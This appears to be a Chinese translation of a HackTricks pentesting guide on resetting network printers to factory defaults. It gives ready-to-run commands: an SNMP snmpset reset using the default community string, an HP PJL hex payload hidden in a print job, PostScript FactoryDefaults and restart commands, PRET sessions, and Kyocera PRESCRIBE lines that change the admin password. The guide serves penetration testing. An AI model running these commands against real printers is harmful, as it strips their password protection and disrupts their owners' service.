hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md

6.1 KiB
Raw Blame History

零基础学习 AWS 黑客技术直至成为专家 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

将设备重置为出厂默认设置是一项安全关键功能,因为它会覆盖保护机制,如用户设置的密码。这通常可以通过在打印机的控制面板上按下特殊键组合来完成。执行这样的冷重置只需几秒钟,因此对于本地攻击者或渗透测试人员来说是一个现实的场景,例如他们可以在午餐时间潜入复印室。然而,物理访问设备并非总是一个选项

SNMP

打印机-MIB 定义了 prtGeneralReset 对象(OID 1.3.6.1.2.1.43.5.1.1.3.1),它允许攻击者使用 SNMP 重启设备powerCycleReset(4))、重置 NVRAM 设置resetToNVRAM(5)或恢复出厂默认设置resetToFactoryDefaults(6))。这个功能/攻击被大量打印机支持,并移除了所有保护机制,如嵌入式网络服务器的用户设置密码。虽然可以有效绕过保护机制,但这种方法的实际缺点是所有静态 IP 地址配置将丢失如果没有 DHCP 服务,攻击者在将设备重置为出厂默认设置后将无法再次连接到设备。

可以使用下面显示的 snmpset 命令将设备重置为出厂默认设置(您需要知道社区字符串,在大多数情况下默认是 public

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

PML/PJL

在许多情况下攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而HP设备上,SNMP可以转换为其PML表示,并将请求嵌入到合法的打印作业中。这允许攻击者在普通打印作业中重新启动和/或重置设备至出厂默认设置,如下所示:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

任何人都可以使用 PRET 重现对惠普打印机的攻击,通过重启或重置设备可以轻松复现:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PostScript

PostScript 提供了一个类似的功能:FactoryDefaults 系统参数,‘一个标志,如果在打印机关闭前立即设置为 true,会导致所有非易失性参数在下次开机时恢复到它们的出厂默认值。’ 需要注意的是,PostScript 本身也有能力重启环境,但它需要一个有效的密码
然而PostScript 解释器可以被置入一个无限循环,如在 文档处理 DoS 攻击中讨论的那样,这迫使用户手动重启设备,从而重置 PostScript 密码。

将 PostScript 系统参数重置为出厂默认值:

<< /FactoryDefaults true >> setsystemparams

重启PostScript解释器和虚拟内存

true 0 startjob systemdict /quit get exec

任何人都可以重启或重置打印机的PostScript解释器这可以通过使用PRET 轻松复现

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PRESCRIBE

对于 Kyocera 设备PRESCRIBE 页面 描述语言可以用来通过下面显示的命令之一,在普通打印作业中将设备重置为出厂默认设置

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'";  CMMT "Drop the security level, reset password";
!R! ACNT "REST";                                       CMMT "Reset account code admin password";
!R! EGRE;                                              CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0";                                   CMMT "Reset configuration settings";

要复现这种攻击请打开一个到打印机9100/tcp端口的原始网络连接发送上文记录的命令

从零开始学习AWS黑客攻击直到成为专家通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式